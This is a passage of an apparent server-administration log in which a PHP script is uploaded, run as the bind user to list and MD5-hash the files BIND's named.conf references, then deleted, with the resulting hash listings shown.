MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:09:45: Establishing a connection
2026-04-21 19:09:45: 

PUT: /tmp/pkp488892

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:09:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp488892; rm /tmp/pkp488892'

2026-04-21 19:09:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:10:53: Establishing a connection
2026-04-21 19:10:53: 

PUT: /tmp/pkp378509

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:10:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp378509; rm /tmp/pkp378509'

2026-04-21 19:10:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
